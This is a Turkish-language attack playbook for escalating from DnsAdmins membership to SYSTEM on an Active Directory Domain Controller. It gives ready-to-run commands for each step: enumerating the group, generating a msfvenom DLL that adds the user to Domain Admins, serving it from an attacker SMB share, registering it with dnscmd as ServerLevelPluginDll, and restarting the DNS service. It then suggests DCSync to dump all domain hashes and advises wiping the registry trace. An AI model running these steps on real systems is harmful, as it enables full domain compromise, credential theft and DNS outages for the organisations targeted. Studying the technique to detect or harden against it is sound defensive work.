DnsAdmins Grup Yetki Yükseltme (ServerLevelPluginDll - DC üzerinde SYSTEM)
DnsAdmins grubu üyeleri DNS servisini yönetebilir. dnscmd ile serverlevelplugindll parametresine UNC paylaşımındaki kötü amaçlı bir DLL yüklenir; DNS servisi (DC üzerinde dns.exe) yeniden başlatıldığında DLL SYSTEM olarak çalışır ve Domain Controller tam ele geçirilir.
- DnsAdmins grubunun bir üyesi olan domain kullanıcı kimlik bilgileri (USER/PASS veya NTHASH)
- Hedef DNS sunucusu genellikle Domain Controller üzerindedir (DC_HOST)
- DNS servisini restart edebilme yetkisi (DnsAdmins veya SeRestart/servis kontrol hakkı) ya da DC reboot beklemek
- DLL'i barındıracak erişilebilir SMB paylaşımı (LHOST) veya yerel yol
Komutlar
nxc ldap {{DC_IP}} -u {{USER}} -p {{PASS}} -d {{DOMAIN}} --query "(memberOf=CN=DnsAdmins,CN=Users,DC=domain,DC=local)" "sAMAccountName" net group "DnsAdmins" /domain msfvenom -p windows/x64/exec CMD='net group "Domain Admins" {{USER}} /add /domain' -f dll -o /tmp/dns_plugin.dll impacket-smbserver share /tmp/ -smb2support dnscmd {{DC_HOST}} /config /serverlevelplugindll \\{{LHOST}}\share\dns_plugin.dll dnscmd {{DC_HOST}} /config /serverlevelplugindll \\{{LHOST}}\share\dns_plugin.dll /s sc.exe \\{{DC_HOST}} stop dns && sc.exe \\{{DC_HOST}} start dns reg query \\{{DC_HOST}}\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll nxc smb {{DC_IP}} -u {{USER}} -H {{NTHASH}} -d {{DOMAIN}} -x "net group 'Domain Admins'" dnscmd {{DC_HOST}} /config /serverlevelplugindll DnsAdmins Nedir ve Neden Tehlikeli?
DnsAdmins, Active Directory’de DNS Server servisini yönetme yetkisi veren yerleşik bir gruptur. Windows DNS servisi (dns.exe) Domain Controller üzerinde SYSTEM olarak çalışır. DNS yönetim protokolü, bir DLL’in “serverlevelplugindll” olarak yüklenmesine izin verir; servis bu DLL’i başlangıçta yükler. Yani DNS yönetimi = DC üzerinde SYSTEM kod çalıştırma. Bu yüzden DnsAdmins üyeliği, neredeyse Domain Admin’e eşdeğer bir privesc primitive’idir.
1. Enum: Üyeliği Doğrula
Önce kontrol ettiğiniz hesabın gerçekten DnsAdmins üyesi olduğunu doğrulayın. net group "DnsAdmins" /domain ya da Linux tarafında netexec LDAP query / BloodHound (MemberOf -> DnsAdmins) kullanın. DNS sunucusu çoğunlukla DC üzerindedir, dolayısıyla DC_HOST = DNS sunucusu olur.
2. Kötü Amaçlı DLL Hazırla
Servis bu DLL’i SYSTEM olarak yükleyeceği için, DLL içine ayrıcalıklı bir komut gömün. Klasik yaklaşım kullanıcıyı Domain Admins grubuna eklemektir (net group "Domain Admins" {{USER}} /add /domain). msfvenom ile windows/x64/exec payload’lı bir DLL üretmek en hızlı yoldur. Not: Tam bir DNS plugin DLL’i tüm export’ları sağlamadığı için DNS servisini çökertebilir (DLL yüklenir ve komut çalışır ama servis crash olabilir) - lab/PG’de komut yine de çalışır.
3. DLL’i Eriş ilebilir Yap
DLL’i bir UNC yoluyla (SMB paylaşımı) sunmak en pratik yöntemdir: impacket-smbserver share /tmp/ -smb2support. Böylece \\{{LHOST}}\share\dns_plugin.dll yolu DC tarafından okunabilir. Alternatif olarak DLL’i DC üzerinde yerel bir yola da koyabilirsiniz.
4. Plugin DLL’i Tanımla
dnscmd {{DC_HOST}} /config /serverlevelplugindll \\{{LHOST}}\share\dns_plugin.dll komutu, DNS servisine bu DLL’i bir sonraki başlatmada yüklemesini söyler. Bu işlem aslında registry’de HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ServerLevelPluginDll değerini yazar. DnsAdmins üyeleri bu konfigürasyonu değiştirebildiği için yetki yeterlidir. RSAT yüklü herhangi bir makineden /s switch’i ile uzaktan da çalıştırılabilir.
5. Servisi Tetikle
DLL ancak DNS servisi yeniden başlatıldığında yüklenir: sc.exe \\{{DC_HOST}} stop dns && sc.exe \\{{DC_HOST}} start dns. DnsAdmins, varsayılan olarak DNS servisini durdurma/başlatma hakkına da sahip olabilir; değilse SeServiceLogon/servis kontrol hakkı gerekir ya da DC’nin yeniden başlatılmasını beklemeniz gerekir (registry’e yazıldığı için reboot sonrası da çalışır - bu aynı zamanda kalıcılık sağlar).
Sonuç ve Doğrulama
Servis yeniden başladığında DLL SYSTEM bağlamında yürütülür ve gömülü komut çalışır. nxc smb {{DC_IP}} -u {{USER}} -H {{NTHASH}} -x "net group 'Domain Admins'" ile hesabınızın eklendiğini doğrulayın; ardından DCSync (ad-dcsync) ile tüm domain hash’lerini çekebilirsiniz.
Gotchas
- DLL bir gerçek DNS plugin export’u içermezse servis crash olur; komut çalışsa da servis down kalabilir. Üretim ortamında DNS kesintisi yaratır - dikkat.
- UNC yolundan DLL çekiliyorsa SMB signing/firewall DC’nin LHOST’a ulaşmasını engelleyebilir.
- Temizlik: İşiniz bitince
dnscmd /config /serverlevelplugindll(boş değer) ile registry değerini temizleyin, aksi halde her DNS başlangıcında DLL aranır ve iz/kalıcılık bırakır.